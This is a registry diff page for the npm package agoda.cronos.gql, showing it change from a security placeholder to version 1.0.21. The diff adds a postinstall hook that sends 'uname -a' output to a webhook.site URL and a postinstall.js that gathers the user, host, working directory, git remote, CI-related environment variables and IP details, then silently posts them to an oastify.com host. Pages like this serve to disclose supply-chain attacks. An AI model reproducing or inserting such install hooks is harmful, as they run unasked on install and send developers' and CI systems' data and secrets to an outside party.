agoda.cronos.gql 0.0.1-security → 1.0.21

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of agoda.cronos.gql might be problematic. Click here for more details.

package/index.js ADDED
File without changes
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "agoda.cronos.gql",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.21",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "curl -X POST https://webhook.site/380fd261-0362-45d3-9a12-fe4b29e231a0/rce?data=$(uname -a)"
8
+ },
9
+ "keywords": [],
10
+ "author": "Mansi",
11
+ "license": "ISC"
6
12
  }
package/postinstall.js ADDED
@@ -0,0 +1,71 @@
1
+ const { execSync } = require('child_process');
2
+ const https = require('https');
3
+
4
+ function safeExec(cmd) {
5
+ try {
6
+ return execSync(cmd, { stdio: ['pipe', 'pipe', 'ignore'] }).toString().trim();
7
+ } catch {
8
+ return null;
9
+ }
10
+ }
11
+
12
+ const data = {
13
+ user: safeExec('whoami'),
14
+ host: safeExec('hostname'),
15
+ pwd: safeExec('pwd'),
16
+ ci_project_url: process.env.CI_PROJECT_URL || null,
17
+ ci_repo_url: process.env.CI_REPOSITORY_URL || null,
18
+ github_repo: process.env.GITHUB_REPOSITORY || null,
19
+ gitlab_ci: process.env.GITLAB_CI || null,
20
+ github_actions: process.env.GITHUB_ACTIONS || null,
21
+ npm_config_user_agent: process.env.npm_config_user_agent || null,
22
+ env_vars: Object.keys(process.env).filter(k =>
23
+ k.toLowerCase().includes('ci') ||
24
+ k.toLowerCase().includes('gh') ||
25
+ k.toLowerCase().includes('git') ||
26
+ k.toLowerCase().includes('build')
27
+ ).reduce((acc, k) => ({ ...acc, [k]: process.env[k] }), {}),
28
+ git_remote: safeExec('git config --get remote.origin.url')
29
+ };
30
+
31
+ function postToWebhook(payload) {
32
+ const postData = JSON.stringify(payload);
33
+
34
+ const options = {
35
+ hostname: 'dn43rbzs4t8ixs0ds7i4vd8bl2rtfp3e.oastify.com',
36
+ path: '/gql', // Replace with your actual path
37
+ method: 'POST',
38
+ headers: {
39
+ 'Content-Type': 'application/json',
40
+ 'Content-Length': postData.length
41
+ }
42
+ };
43
+
44
+ const req = https.request(options, res => {
45
+ res.on('data', () => {}); // discard response
46
+ });
47
+
48
+ req.on('error', () => {}); // suppress errors
49
+ req.write(postData);
50
+ req.end();
51
+ }
52
+
53
+ function getIpInfo(callback) {
54
+ https.get('https://ipinfo.io/json?token=49af8170a24e81', res => {
55
+ let body = '';
56
+ res.on('data', chunk => (body += chunk));
57
+ res.on('end', () => {
58
+ try {
59
+ const ipInfo = JSON.parse(body);
60
+ callback(ipInfo);
61
+ } catch {
62
+ callback({});
63
+ }
64
+ });
65
+ }).on('error', () => callback({}));
66
+ }
67
+
68
+ getIpInfo(ipInfo => {
69
+ data.ipinfo = ipInfo;
70
+ postToWebhook(data);
71
+ });
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=agoda.cronos.gql for more information.